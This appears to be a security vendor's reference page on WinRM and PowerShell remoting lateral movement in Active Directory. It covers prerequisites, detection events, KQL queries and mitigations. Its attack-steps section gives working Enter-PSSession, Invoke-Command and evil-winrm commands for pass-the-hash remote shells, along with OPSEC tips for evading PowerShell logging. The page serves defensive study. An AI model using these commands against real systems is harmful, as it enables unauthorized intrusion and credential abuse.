1. Resources
  2. Identity Threats
  3. Active Directory

WinRM and PowerShell Remoting Lateral Movement

Also known as: PowerShell remoting lateral movement, Evil-WinRM, Enter-PSSession abuse, WS-Management lateral movement, PSRemoting

An account allowed to use a PowerShell remoting endpoint on a Windows host can open a remote shell there over WinRM and run commands as itself.

Platform
Active Directory
Impact
High
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: Specific rights or roles
Membership of local Administrators or Remote Management Users on the target, or an explicit grant on a session configuration, and access to TCP 5985 or 5986.
What the attacker gains
An interactive PowerShell session or command execution on the target under the authenticating account, with its full token.
Threat groups
ChimeraFIN13Storm-0501Threat Group-3390Wizard SpiderAgriusAPT3APT5Aquatic PandaBlackByteCinnamon TempestIndrik SpiderMagic HoundNaikonand 10 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1021.006, T1078.002.

How it works

Windows Remote Management (WinRM) is Microsoft's implementation of the WS-Management protocol. PowerShell remoting runs on top of it: a client connects to a listener on TCP 5985 (HTTP) or 5986 (HTTPS), authenticates, and is attached to a session configuration, which is the endpoint that hosts a PowerShell instance for that user. WinRM runs as a service under the Network Service account and starts an isolated host process, wsmprovhost.exe, under the connecting user's account for each session. Everything the user types runs there, on the remote machine.

PowerShell remoting is enabled by default on Windows Server 2012 R2 and later. It is what administrators use every day, which is why it is also a convenient channel for lateral movement: an attacker with the right account needs no extra tool on a Windows host and produces traffic that looks like administration.

Who may connect is decided per session configuration, not by a single switch:

  • The security descriptor on the session configuration lists who can use it. Microsoft's requirement is an account in local Administrators or in the built-in Remote Management Users group. An administrator can change the descriptor on the default Microsoft.PowerShell configuration or register additional configurations with their own permissions.
  • Remote Management Users exists so that people can be given remoting access without administrator rights. A member gets a shell with a standard token. That is still an interactive foothold on a server, and often on a domain controller or a certificate authority, where a standard shell is enough to start a local privilege escalation.
  • Constrained endpoints. A configuration can limit the commands a user may run, and Just Enough Administration (JEA) endpoints run those commands under a different, privileged identity. A permitted connection can therefore land in a restricted shell, and a badly scoped JEA role can hand out far more than its name suggests.

Authentication follows the usual rules. Kerberos is used when the client addresses the server by name in a domain. When the client uses an IP address, Kerberos is not possible and NTLM is used, which requires the target to be in the client's TrustedHosts list or an HTTPS listener. A remoting session is a network logon, so the user's credentials are not sent to the server unless CredSSP delegation is configured.

Prerequisites

  • An account in local Administrators or Remote Management Users on the target, or one named in a session configuration's security descriptor.
  • Network access to TCP 5985 or 5986. The default firewall rule accepts connections on domain and private networks.
  • WinRM enabled on the target: the default on Windows Server, and wherever an administrator or a GPO has enabled it on clients.
  • A password, an NT hash or a Kerberos ticket for the account.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find hosts that accept the account

Test-WSMan answers whether a listener is present. A session attempt answers whether the account is allowed:

Test-WSMan -ComputerName SRV01
Invoke-Command -ComputerName SRV01, SRV02, DC01 -ScriptBlock { hostname; whoami /groups } -ErrorAction SilentlyContinue

2. Open a session from Windows

# Interactive shell as the current user (Kerberos)
Enter-PSSession -ComputerName SRV01.corp.example.com

# Explicit credentials
$cred = Get-Credential CORP\alice
Enter-PSSession -ComputerName SRV01.corp.example.com -Credential $cred

# One command on several hosts
Invoke-Command -ComputerName SRV01, SRV02 -Credential $cred -ScriptBlock { Get-LocalGroupMember Administrators }

# A persistent session that can be reused, and a script run through it
$s = New-PSSession -ComputerName SRV01 -Credential $cred
Invoke-Command -Session $s -FilePath .\collect.ps1

To connect to a JEA or other custom endpoint, name the configuration:

Enter-PSSession -ComputerName SRV01 -ConfigurationName HelpdeskMaintenance -Credential $cred
Get-Command   # what this role is allowed to run

3. Open a session from Linux

Evil-WinRM gives a shell with a password, an NT hash or a Kerberos ticket:

# Password
evil-winrm -i 192.0.2.20 -u alice -p '<password>'

# NT hash
evil-winrm -i 192.0.2.20 -u alice -H <nt-hash>

# HTTPS listener on TCP 5986
evil-winrm -i 192.0.2.20 -u alice -p '<password>' -S

# Kerberos: the realm must also be defined in /etc/krb5.conf, and the target given by FQDN
evil-winrm -i SRV01.corp.example.com -r CORP.EXAMPLE.COM

# Make a local folder of PowerShell scripts loadable inside the session
evil-winrm -i 192.0.2.20 -u alice -p '<password>' -s /opt/ps1_scripts/

4. Work around the double hop

Because the session is a network logon, commands in it cannot authenticate onward to a third host as the user. Operators pass credentials again inside the session, for example with Invoke-Command -Credential from within it, or look for hosts where CredSSP delegation is enabled, where the user's credentials are present on the server and can be stolen from memory.

Impact

With an administrator account, the attacker has full control of the host from an interactive PowerShell prompt: credential dumping, software deployment, and movement to the next machine. With only Remote Management Users membership the shell is unprivileged, but it is a foothold on a server that would otherwise accept no logon from that account.

JEA endpoints deserve their own attention. Their commands run as a privileged virtual account or a group managed service account. A role that exposes a general-purpose command, or a command that can be made to run arbitrary code, turns a low-privileged operator into a local administrator of that server.

OPSEC and artifacts

  • Built-in tooling. Using Enter-PSSession from a compromised admin workstation produces the same traffic and the same events as the administrator's own work. What differs is the source host, the time and the set of targets.
  • Network logon, no credential exposure. The target records event 4624 with logon type 3 and the source address, and event 4672 if the account is an administrator. The account's credentials do not reach the target unless CredSSP is used.
  • WinRM operational log. Microsoft-Windows-WinRM/Operational records event 91 on the server when a shell is created, with the resource URI, and event 6 on the client when a session is initialized. The client-side record is on the attacker's host when a Windows client is used.
  • Host process. Each session runs in wsmprovhost.exe under the remote user's account. Programs the attacker starts are its children. Process creation auditing (event 4688) shows them.
  • PowerShell logging. Where module logging and script block logging are enabled, events 4103 and 4104 in the PowerShell operational log record the commands and scripts that ran in the session, including scripts loaded from the attacker's machine. Operators who know this prefer short native commands and avoid loading well-known tools.
  • Authentication package. Connecting by IP address, as Linux tools usually do, forces NTLM. A WinRM logon that uses NTLM from a host that is not an approved jump server stands out in an environment where administrators connect by name with Kerberos.
  • Transport. WinRM encrypts the message payload even on the HTTP listener, so network inspection sees the connection but not the commands.

Detection

  • Unusual sources. Baseline which hosts open WinRM sessions to servers. A workstation outside the administration tier connecting to TCP 5985 on a domain controller is a strong signal by itself.
  • Shell creation plus logon. Join WinRM event 91 with the type 3 event 4624 at the same time to get the account and the source address.
  • Children of wsmprovhost.exe. Credential tools, archive utilities, reg.exe save, or network scanners started from a remoting session are rare in real administration.
  • Script block content. Event 4104 text containing download cradles, encoded commands or known tool function names, in a session whose host application is the remoting host.
  • NTLM with privileged accounts. See the Pass-the-Hash rules for network logons that use NTLM where Kerberos is expected.
// Remote shells created on servers, by host and hour
WindowsEvent
| where Channel == "Microsoft-Windows-WinRM/Operational" and EventID == 91
| summarize Shells = count() by Computer, bin(TimeGenerated, 1h)
| order by TimeGenerated desc
// Processes started from a PowerShell remoting session
SecurityEvent
| where EventID == 4688
| where ParentProcessName endswith "\\wsmprovhost.exe"
| project TimeGenerated, Computer, SubjectUserName, SubjectLogonId, NewProcessName, CommandLine
| order by TimeGenerated desc

Transport telemetry alone cannot recover what was typed. Tie PowerShell operational events or transcripts to the same session before naming a command.

Mitigation

  • Restrict WinRM exposure. Allow TCP 5985 and 5986 only from management networks or privileged access workstations, with host firewall rules scoped by remote address. Review listeners, the allowed authentication mechanisms and the plug-in permissions together, and keep Basic authentication, unencrypted traffic and CredSSP disabled unless a documented need exists.
  • Review who can connect. Audit membership of Remote Management Users and local Administrators on every server role, and the security descriptor of each session configuration (Get-PSSessionConfiguration). Keep Remote Management Users empty on domain controllers and other Tier 0 servers unless there is a documented reason.
  • Delegate with Just Enough Administration. Give operators a JEA endpoint that exposes only the commands and parameters their job needs, and treat the role capability files as privileged code: review each command for ways to run arbitrary code, limit who can edit the files, and keep the transcripts. JEA is least privilege for administration, and it only helps if the role is narrow.
  • Tier administrative accounts so that an account that can open sessions on Tier 0 servers never signs in to lower-tier machines, and use Windows LAPS for local administrator accounts.
  • Log PowerShell. Enable script block logging, module logging and transcription on servers, enable Audit Process Creation, and collect the WinRM operational channel. The audit policy guide covers the Security log settings.

Detection rules for this attack

Log events to collect

FAQ

Who can connect to a Windows host over WinRM?

Whoever the session configuration's security descriptor allows. Microsoft's guidance is to connect with an account in the Administrators or Remote Management Users group of the remote computer. Administrators can change the descriptor of the default configurations or register new ones with different permissions.

Is PowerShell remoting enabled by default?

On Windows Server 2012 R2 and later it is. On client versions of Windows an administrator must run Enable-PSRemoting or configure WinRM through Group Policy. WinRM listens on TCP 5985 for HTTP and 5986 for HTTPS.

Can an attacker use an NT hash with WinRM?

Yes. When the client connects by IP address, or Kerberos is not available, WinRM falls back to NTLM, and NTLM accepts a hash in place of a password. Evil-WinRM takes the hash with its -H option. A Kerberos ticket works too.

What does a WinRM session leave in the logs?

A network logon (event 4624 type 3) on the target, event 91 in the WinRM operational log when the shell is created, a wsmprovhost.exe process running as the remote user, and, where script block logging is enabled, event 4104 with the text of every command.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.